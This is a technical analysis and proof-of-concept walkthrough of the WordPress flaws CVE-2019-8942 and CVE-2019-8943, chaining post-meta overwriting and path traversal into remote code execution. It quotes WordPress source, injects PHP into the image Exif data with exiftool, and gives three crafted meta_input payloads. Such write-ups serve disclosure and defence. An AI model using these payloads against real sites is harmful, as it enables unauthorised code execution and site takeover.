
Detailed technical analysis and proof-of-concept exploit for WordPress RCE vulnerabilities CVE-2019-8942 and CVE-2019-8943, demonstrating LFI-to-RCE via path traversal and image upload manipulation.
CVE-2019-8942 is a vulnerability that exploits an LFI flaw combined with the File Upload feature to achieve RCE on a WordPress web server with author privileges. Affected WordPress versions include those before 4.9.9 and 5.x before 5.0.1, allowing remote code execution because the wp_attached_file value of Post Meta can be changed to an arbitrary string, for example: .jpg?file.php. An attacker with author privileges can execute arbitrary code by uploading image files containing malicious PHP code in Exif metadata. Exploitation can leverage CVE-2019-8943.
CVE-2019-8943 affects WordPress up to version 5.0.3, with a Path Traversal vulnerability in the wp_crop_image() method. An attacker with access to the image cropping functionality (author) can write image files to any directory based on a filename containing two extensions such as .jpg?/../../file.jpg.
author privileges.The main cause that allows a user to perform RCE lies in the Post meta being overwritable.
Meta data can be understood as data describing data; specifically in this case, meta data refers to blog information such as title, publish date, author name, etc.
In the WordPress 4.9.8 source code, when an image is updated, the edit_post() function is called. Notably, this function operates directly on the $_POST array. wp_update_post directly takes $post_data as a parameter without checking which data fields are allowed to be edited.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
Users with posting privileges can overwrite Post Meta values. More specifically, an attacker can modify the value of the _wp_attached_file meta data. This does not change the file name; it only changes the file that WordPress processes when editing. This leads to Path Traversal exploitation.

wp_postmetabefore exploitation
It can be seen that the uploaded file has the format YYYY/MM/name.jpg, and WordPress stores the file in the YYYY/MM/ directory. This suggests Path Traversal exploitation.
In the wp_crop_image() function, when an author user crops an image, WordPress checks whether the image exists in two ways. First, it searches for the image based on _wp_attached_file in the wp-content/uploads directory.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
If the above method fails, WordPress will attempt to download the image from its own server by generating a URL containing the path to the wp-content/uploads directory and the filename stored in _wp_attached_file. It attempts to download the image instead of fetching it locally because in some cases, certain plugins generate the image when that URL is requested.
When WordPress successfully loads the image via the wp_get_image_editor() method, the cropping takes place. The cropped image is then saved to the file system. The filename is the value of the $src variable returned by get_post_meta(), which is under the attacker's control. WordPress creates a directory using the wp_mkdir_p() method (Line 9) and saves the image there using save(). It is evident that the save() method does not check for Path Traversal.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
Using a payload injected into _wp_attached_file containing characters like #/../../ will not result in such a path if method 1 is used to load the image; therefore, WordPress will use method 2 to load the image by generating a URL to download it. Here the path will have the form http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg. Since this is a URL path, characters after # (indicating a fragment) are ignored. The filename found will be name.jpg#/name.jpg, where name.jpg# is a directory and it is a valid name. Next, use a payload like /name.jpg#/../../name.jpg to exploit Path Traversal.

It can be seen that fields such as
_wp_attach_fileand_wp_page_templatehave been modified
Path Traversal to RCE
Each WordPress page uses a specific theme and has a /wp-content/themes/theme_name/ folder containing template files. In some cases, selecting a theme for a post is feasible. The user only needs to set _wp_page_template in the Post Meta table to the desired filename. However, it has the limitation that it is only effective for files located in the theme directory. Normally, this directory cannot be accessed and files cannot be uploaded there. Nevertheless, we can leverage the Path Traversal exploitation to write files into this directory. An author attacker will create a post and overwrite the image file value in the _wp_page_template parameter. The image file will be injected with malicious PHP code; when the image is loaded, the PHP code will be executed, leading to RCE.
Step 1: Use wpscan to identify the theme used by the website => twentyseventeen

Step 2: Inject malicious PHP code into the image using the Exiftool tool
exiftool demo.jpg -documentname="<?php phpinfo();?>"

Step 3: Log in to the site admin with an author account, go to Media -> Add new -> Upload the image.

Step 4: Access the image. Click Edit more details

Step 5: Click Update and use Burpsuite to intercept the request -> Send to repeater


Step 6: Click Edit image, crop the image, and click Save. Intercept the request to save the image and send it to the repeater.


Step 7: Use the request from Step 5, add the parameter &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file to the request. This request prepares to create the file.jpg# folder and copy the file image into that folder.
Step 8: Send the request from Step 6 to save the image. Observe that the file.jpg# directory has been created and the image has been saved to the YYYY/MM/file.jpg# folder.
Step 9: Similar to step 7, use the request from Step 5, add the parameter &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file to the request. Knowing the WordPress directory structure and theme name, we can craft a payload as above.

Step 10: Send the request from Step 6 to save the image. Observe that the image is saved to the new path.

Step 11: Go to Posts -> Add new. Click Publish. Intercept the request and send it to the repeater.

Step 12: Use the request from Step 11, add the parameter &meta_input[_wp_page_template]=cropped image where cropped image is the file name of the image from Step 10.

Step 13: Access the post and see that the malicious code in the image is executed.

Payloads with 3 requests used:
&meta_input[_wp_attached_file]=year/month/file#/file
&meta_input[_wp_attached_file]=year/month/file#/../../../../themes/twentyseventeen/file
&meta_input[_wp_page_template]=<cropped image>